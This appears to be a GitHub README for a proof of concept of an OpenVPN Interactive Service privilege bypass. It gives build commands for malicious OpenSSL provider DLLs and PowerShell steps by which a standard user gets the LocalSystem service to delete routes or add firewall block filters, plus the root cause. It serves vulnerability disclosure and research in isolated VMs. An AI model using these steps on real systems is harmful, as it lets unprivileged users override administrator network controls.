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工具/GitHubGitHub/refiaa/cve-2026-121720
Privilege EscalationVulnerability AnalysisExploitationNetwork SecurityPenetration Testing
GitHubrefiaa/cve-2026-121720

CVE-2026-121720

PoC for an OpenVPN Windows Interactive Service privilege bypass via a user-selected OpenSSL provider.

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OpenVPN Interactive Service privilege-boundary PoCs

  • Route deletion: a standard user's matching DeleteIpForwardEntry2() call returns ERROR_ACCESS_DENIED (5), while one type-4 request through OpenVPNServiceInteractive receives ACK 0 and deletes the administrator-created route.
  • WFP outbound block: a standard user's FwpmFilterAdd0() call returns ERROR_ACCESS_DENIED (5), while one type-12, flags-1 service request receives ACK 0 and blocks a fresh TCP connection created by a separate administrator principal.

The scripts verify the OpenVPN version and signatures, artifact hashes, requester/service/client/provider identities, exact request, and resulting system state.

Requirements

  • OpenVPN 2.7.8-I002 amd64 at the default installation path
  • 64-bit Windows PowerShell 5.1 and x64 MinGW GCC
  • OpenVPNServiceInteractive stopped, Manual, and LocalSystem before setup
  • OpenVPNService stopped
  • one administrator and one standard user outside local Administrators and the configured OpenVPN administration group
  • disposable, isolated Windows VMs

The WFP observation additionally requires a source VM with isolated TARGET and peerless AUX interfaces, an independent sink VM on TARGET, and no gateway, effective DNS server, NAT, forwarding, or host adapter on either private segment.

Build

Run from this directory:

New-Item -ItemType Directory -Path '.\build' -Force | Out-Null

gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
    '-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
    -shared -o '.\build\openvpn_route_poc.dll' `
    '.\OpenVpnRouteProvider.c' -lshell32 -lws2_32

gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
    '-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
    -o '.\build\direct-route-probe.exe' `
    '.\DirectRouteProbe.c' -liphlpapi -lws2_32

gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
    '-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
    -shared -o '.\build\openvpn_wfp_poc.dll' `
    '.\optional-wfp-outbound-block\OpenVpnWfpBlockProvider.c' -lshell32 -lws2_32

gcc -std=c11 -O2 -Wall -Wextra -Werror -static-libgcc -fno-ident -s `
    '-Wl,--no-insert-timestamp,--dynamicbase,--nxcompat,--high-entropy-va' `
    -o '.\build\direct-wfp-probe.exe' `
    '.\optional-wfp-outbound-block\DirectWfpBlockProbe.c' -lfwpuclnt -lrpcrt4

Route deletion

The fixed route is 192.0.2.225/32, next hop 0.0.0.0, metric 4274, protocol NetMgmt, in ActiveStore.

Administrator:

$artifacts = (Resolve-Path '.\build').Path
& '.\Invoke-OpenVpnInteractiveServiceRoutePoC.ps1' -Mode Setup -PrebuiltRoot $artifacts

Standard user:

& '.\Invoke-OpenVpnInteractiveServiceRoutePoC.ps1' -Mode Run

Administrator:

& '.\Invoke-OpenVpnInteractiveServiceRoutePoC.ps1' -Mode Cleanup

Required outcomes:

SETUP_COMPLETE
PRIVILEGED_ROUTE_DELETION_AND_POST_EXIT_ABSENCE_OBSERVED
CLEANUP_COMPLETE

WFP outbound block

Use 192.0.2.10/24 on source TARGET, 198.51.100.10/24 on source AUX, and 192.0.2.20/24 on sink TARGET. Start this listener in the sink administrator console:

New-NetFirewallRule -DisplayName 'OpenVPN WFP PoC TCP witness' `
    -Direction Inbound -Action Allow -Protocol TCP -LocalPort 38443 | Out-Null

$listener = [Net.Sockets.TcpListener]::new([Net.IPAddress]::Any, 38443)
$listener.Start()
while ($true) {
    $client = $listener.AcceptTcpClient()
    try { (New-Object IO.StreamReader($client.GetStream())).ReadLine() }
    finally { $client.Dispose() }
}

Define the traffic probe in the source administrator console:

function Send-Phase([string] $Token) {
    $client = New-Object Net.Sockets.TcpClient
    try {
        $task = $client.ConnectAsync('192.0.2.20', 38443)
        if (-not $task.Wait(3000) -or -not $client.Connected) { return $false }
        $writer = New-Object IO.StreamWriter($client.GetStream())
        $writer.AutoFlush = $true
        $writer.WriteLine($Token)
        return $true
    }
    catch { return $false }
    finally { $client.Dispose() }
}

Administrator:

$wfp = '.\optional-wfp-outbound-block\Invoke-OpenVpnWfpBlockPoC.ps1'
$artifacts = (Resolve-Path '.\build').Path
$auxIndex = (Get-NetAdapter -Name 'AUX').ifIndex

& $wfp -Mode Setup -AuxInterfaceIndex $auxIndex -PrebuiltRoot $artifacts
Send-Phase 'baseline' # True; sink prints baseline

Standard user:

$wfp = '.\optional-wfp-outbound-block\Invoke-OpenVpnWfpBlockPoC.ps1'
$auxIndex = (Get-NetAdapter -Name 'AUX').ifIndex

& $wfp -Mode Direct -AuxInterfaceIndex $auxIndex

Administrator:

Send-Phase 'post-direct' # True; sink prints post-direct

Same standard user:

& $wfp -Mode Run -AuxInterfaceIndex $auxIndex

Administrator:

& $wfp -Mode Verify -AuxInterfaceIndex $auxIndex
Send-Phase 'active' # False; sink receives no active token

Required outcomes:

SETUP_COMPLETE
DIRECT_WFP_CONTROL_DENIED
WFP_BLOCK_ACTIVE_OBSERVED
WFP_ACTIVE_POLICY_VERIFIED

Cause

OpenVPNServiceInteractive launches the official client with the requesting user's environment and an inheritable privileged message-channel handle. OpenVPN initializes the user-selected OpenSSL provider before parsing the service-approved command line and profile, allowing the provider to submit requests that the LocalSystem service applies.

[!CAUTION] LEGAL AND TECHNICAL DISCLAIMER

This code is for controlled research and analysis. The author assumes no liability for damages, system instability, or legal consequences arising from use or misuse of this software.

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